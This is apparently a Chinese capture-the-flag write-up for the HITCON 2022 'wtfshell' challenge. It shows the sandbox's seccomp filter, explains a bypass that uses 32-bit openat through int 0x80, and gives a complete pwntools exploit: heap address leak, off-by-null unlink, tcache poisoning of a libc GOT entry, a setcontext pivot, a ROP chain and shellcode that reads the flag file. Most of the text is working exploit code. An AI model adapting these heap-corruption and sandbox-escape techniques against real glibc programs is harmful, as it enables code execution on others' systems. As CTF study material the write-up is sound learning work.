4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
zb@ubuntu:~
/
seccomp
-
tools$ seccomp
-
tools dump
/
mnt
/
hgfs
/
ubuntu
/
hitcon
/
heap
/
share
/
wtfshell
line CODE JT JF K
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
0000
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0001
:
0x15
0x00
0x04
0x00000000
if
(A !
=
read) goto
0006
0002
:
0x20
0x00
0x00
0x00000010
A
=
fd
# read(fd, buf, count)
0003
:
0x15
0x00
0x01
0x00000000
if
(A !
=
0x0
) goto
0005
0004
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0005
:
0x06
0x00
0x00
0x00000000
return
KILL
0006
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0007
:
0x15
0x00
0x01
0x00000003
if
(A !
=
close) goto
0009
0008
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0009
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0010
:
0x15
0x00
0x06
0x00000009
if
(A !
=
mmap) goto
0017
0011
:
0x20
0x00
0x00
0x00000020
A
=
prot
# mmap(addr, len, prot, flags, fd, pgoff)
0012
:
0x15
0x03
0x00
0x00000007
if
(A
=
=
0x7
) goto
0016
0013
:
0x20
0x00
0x00
0x00000030
A
=
fd
# mmap(addr, len, prot, flags, fd, pgoff)
0014
:
0x15
0x00
0x01
0xffffffff
if
(A !
=
0xffffffff
) goto
0016
0015
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0016
:
0x06
0x00
0x00
0x00000000
return
KILL
0017
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0018
:
0x15
0x00
0x01
0x0000000b
if
(A !
=
munmap) goto
0020
0019
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0020
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0021
:
0x15
0x00
0x01
0x0000000c
if
(A !
=
brk) goto
0023
0022
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0023
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0024
:
0x15
0x00
0x01
0x00000027
if
(A !
=
getpid) goto
0026
0025
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0026
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0027
:
0x15
0x00
0x01
0x00000066
if
(A !
=
getuid) goto
0029
0028
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0029
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0030
:
0x15
0x00
0x01
0x00000068
if
(A !
=
getgid) goto
0032
0031
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0032
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0033
:
0x15
0x00
0x04
0x00000014
if
(A !
=
writev) goto
0038
0034
:
0x20
0x00
0x00
0x00000010
A
=
fd
# writev(fd, vec, vlen)
0035
:
0x15
0x00
0x01
0x00000001
if
(A !
=
0x1
) goto
0037
0036
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0037
:
0x06
0x00
0x00
0x00000000
return
KILL
0038
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0039
:
0x15
0x00
0x05
0x0000003c
if
(A !
=
exit) goto
0045
0040
:
0x20
0x00
0x00
0x00000010
A
=
error_code
# exit(error_code)
0041
:
0x15
0x01
0x00
0x00000000
if
(A
=
=
0x0
) goto
0043
0042
:
0x15
0x00
0x01
0x00000001
if
(A !
=
0x1
) goto
0044
0043
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0044
:
0x06
0x00
0x00
0x00000000
return
KILL
0045
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0046
:
0x15
0x00
0x05
0x000000e7
if
(A !
=
exit_group) goto
0052
0047
:
0x20
0x00
0x00
0x00000010
A
=
error_code
# exit_group(error_code)
0048
:
0x15
0x01
0x00
0x00000000
if
(A
=
=
0x0
) goto
0050
0049
:
0x15
0x00
0x01
0x00000001
if
(A !
=
0x1
) goto
0051
0050
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0051
:
0x06
0x00
0x00
0x00000000
return
KILL
0052
:
0x20
0x00
0x00
0x00000000
A
=
sys_number
0053
:
0x15
0x00
0x03
0x00000127
if
(A !
=
preadv) goto
0057
0054
:
0x20
0x00
0x00
0x00000010
A
=
fd
# preadv(fd, vec, vlen, pos_l, pos_h)
0055
:
0x25
0x00
0x01
0x00000002
if
(A <
=
0x2
) goto
0057
0056
:
0x06
0x00
0x00
0x7fff0000
return
ALLOW
0057
:
0x06
0x00
0x00
0x00000000
return
KILL
|
沙盒绕过是由winmt
师傅看出来的,沙盒大手子。
但是程序本身是白名单,并没有允许open
,这该怎么办呢?
可以看到沙盒没有判断架构,而允许了preadv
而preadv
在64位下调用号为:
同时openat
在32位下调用号为:
因此直接可用int0x80
调用32位下的openat
。
注意沙盒里判断了preadv
的第一个参数需要大于2,因此我们openat
的第一个参数也需要大于2,而当openat
使用绝对路径的时候,第一个参数不影响结果,故这里最好用绝对路径/flag2
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
|
from
pwn
import
*
context(arch
=
'amd64'
, os
=
'linux'
)
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
libc
=
ELF(
'/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
add_user(b
'what'
)
add_user(b
'lotus'
)
heap_base
=
burp(b
'lotus'
,
"a"
*
0x40
)
-
0x880
key
=
heap_base>>
12
# for i in range(0x7):
# new_file(b'chunk1',b'3')
# add_data(b'chunk1')
new_file(b
'big'
,b
'3'
)
new_file(b
'gbuff'
,b
'3'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
for
i
in
range
(
0x7
):
new_file(b
"chunk"
+
str
(i).encode(),b
'3'
)
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
new_file(b
'chunk21'
,b
'3'
)
new_file(b
'chunk22'
,b
'3'
)
for
i
in
range
(
0x7
):
for
j
in
range
(
0x4
):
add_data(b
"chunk"
+
str
(i).encode(),b
'a'
*
0x100
)
for
i
in
range
(
0x2
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
for
i
in
range
(
0x3
):
recover_data(b
"chunk2"
+
str
(i).encode(),b
'a'
*
0x20
)
for
i
in
range
(
3
,
7
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
[add_data(b
'big'
,p16(
0x1650
)
+
b
'/'
*
(
0x100
-
2
))
for
i
in
range
(
0x10
)]
add_data(b
'big'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'b'
*
0x100
,b
'3'
)
#use to get the free 0x110 tcache and add a chunk between the unsortedbin and the top chunk
add_data(b
'big'
,b
'a'
*
0x100
)
# free the unsortedbin
#add 0x408 back
[add_data(b
'gbuff'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'gbuff'
,b
'a'
*
0xf8
+
b
'\n'
)
#add 0x521 chunk to off-by-null
[add_data(b
'off-by-null-chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x5
)]
add_data(b
'off-by-null-chunk'
,b
'a'
*
0x10
+
b
'\n'
)
[delete_file(b
"chunk"
+
str
(i).encode())
for
i
in
range
(
0x6
)]
add_data(b
'gbuff'
,b
'a'
*
0x100
)
delete_all()
new_file(b
'useless_chunk'
,b
'3'
)
[add_data(b
'useless_chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'useless_chunk'
,b
'a'
*
0x10
+
b
'\n'
)
# add a 0x321 chunk and edit its fake_next_size
new_file(b
'off-by-null-chunk'
,b
'3'
)
[add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x10
+
b
'\n'
)
[recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
i))
for
i
in
range
(
0x6
)]
recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
6
)
+
b
'\x09'
)
menu(b
'rip.'
+
b
'a'
*
(
0x400
-
4
))
#make off by null and clear the prev_size
for
i
in
range
(
0x9
):
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
for
i
in
range
(
0x9
):
recover_data(b
"chunk1"
+
str
(i).encode(),b
'i'
*
0x2f0
)
fake_point
=
heap_base
+
0x2af0
fake_point_addr
=
fake_point
+
0x30
fake_unlink_chunk
=
b
'i'
*
0x10
+
p64(
0
)
+
p64(
0x1651
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point_addr
-
0x10
)
+
p64(fake_point_addr
-
0x20
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point)
*
2
write_addr(b
'chunk15'
,fake_unlink_chunk,
len
(fake_unlink_chunk)
-
0x10
)
[delete_file(b
"chunk1"
+
str
(i).encode())
for
i
in
range
(
0x4
)]
delete_file(b
'chunk17'
)
delete_file(b
'chunk18'
)
delete_file(b
'chunk16'
)
#off by null unlink
delete_file(b
'off-by-null-chunk'
)
#clear the tcache list 0x20
for
i
in
range
(
0xa
):
new_file(b
'useless'
+
str
(i).encode(),b
'3'
)
recover_data(b
'useless'
+
str
(i).encode(),b
'a'
*
8
)
new_file(b
'a'
*
0x2e0
,b
'3'
)
new_file(b
'b'
*
0x2d0
,b
'3'
)
#leak_libc_base
show_file(b
'chunk14'
)
libc_base
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
0x8
,b
'\0'
))
-
0x1f6cc0
new_file(b
'a'
*
0x220
,b
'3'
)
new_file(b
'edit_tcache_next'
,b
'3'
)
recover_data(b
'edit_tcache_next'
,b
'a'
*
0x220
)
strtok_libc_got
=
libc_base
+
0x1f6040
write_addr(b
'edit_tcache_next'
,b
'a'
*
192
+
p64((strtok_libc_got
-
0x20
)^(key
+
3
)),
0x8
)
new_file(b
'a'
*
0x20
,b
'3'
)
magic_gadget
=
libc_base
+
0x8c385
# mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
new_file(b
'go_attack'
,b
'3'
)
recover_data(b
'go_attack'
,b
'a'
*
0x20
+
p64(magic_gadget)[
0
:
6
])
address
=
libc_base
+
libc.sym[
'__free_hook'
]
frame
=
SigreturnFrame()
frame.rdi
=
0
frame.rsi
=
address
frame.rdx
=
0x200
frame.rsp
=
address
frame.rip
=
libc_base
+
libc.sym[
'read'
]
payload
=
p64(libc_base
+
libc.sym[
'setcontext'
]
+
61
)
+
p64(heap_base
+
0x3d50
)
payload
+
=
bytes(frame)
menu(payload)
pop_rax_ret
=
libc_base
+
0x3fa43
pop_rbx_ret
=
libc_base
+
0x2f1d1
pop_rcx_ret
=
libc_base
+
0x99a83
pop_rdi_ret
=
libc_base
+
0x23b65
pop_rsi_ret
=
libc_base
+
0x251be
pop_rdx_ret
=
libc_base
+
0x166262
pop_r8_ret
=
libc_base
+
0x8c3de
# pop r8; mov qword ptr fs:[0x300], rdi; ret;
syscall
=
libc_base
+
0x8cc36
int_80
=
libc_base
+
0xce0cb
rop
=
p64(pop_rdi_ret)
+
p64(
0x100000
)
rop
+
=
p64(pop_rsi_ret)
+
p64(
0x1000
)
rop
+
=
p64(pop_rdx_ret)
+
p64(
6
)
rop
+
=
p64(pop_rcx_ret)
+
p64(
0x22
)
rop
+
=
p64(pop_r8_ret)
+
p64(
0xffffffff
)
rop
+
=
p64(libc_base
+
libc.sym[
'mmap'
])
rop
+
=
p64(pop_rdi_ret)
+
p64(
0
)
rop
+
=
p64(pop_rsi_ret)
+
p64(
0x100000
)
rop
+
=
p64(pop_rdx_ret)
+
p64(
0x200
)
rop
+
=
p64(libc_base
+
libc.sym[
'read'
])
rop
+
=
p64(
0x100008
)
sleep(
0.1
)
r.send(rop)
shellcode
=
asm(
"""
xor rdi, rdi;
push 3;
pop rax;
syscall;
push 3;
pop rbx;
push 0x100000;
pop rcx;
xor rdx, rdx;
push 0x127;
pop rax;
int 0x80;
xor rdi, rdi;
push rsp;
pop rsi;
add rsi, 0x200;
push rsi;
pop rbx;
push 0x100;
pop rdx;
xor rax, rax;
syscall;
push 1;
pop rdi;
push 0x100;
push rbx;
push rsp;
pop rsi;
push 1;
pop rdx;
push 20;
pop rax;
syscall;
"""
)
sleep(
0.1
)
r.send(b
'/flag2\x00\x00'
+
shellcode)
qwq(heap_base)
qwq(libc_base)
r.interactive()
|
至此,wtfshell2
get
更多【HITCON2022-wtfshell详解】相关视频教程:www.yxfzedu.com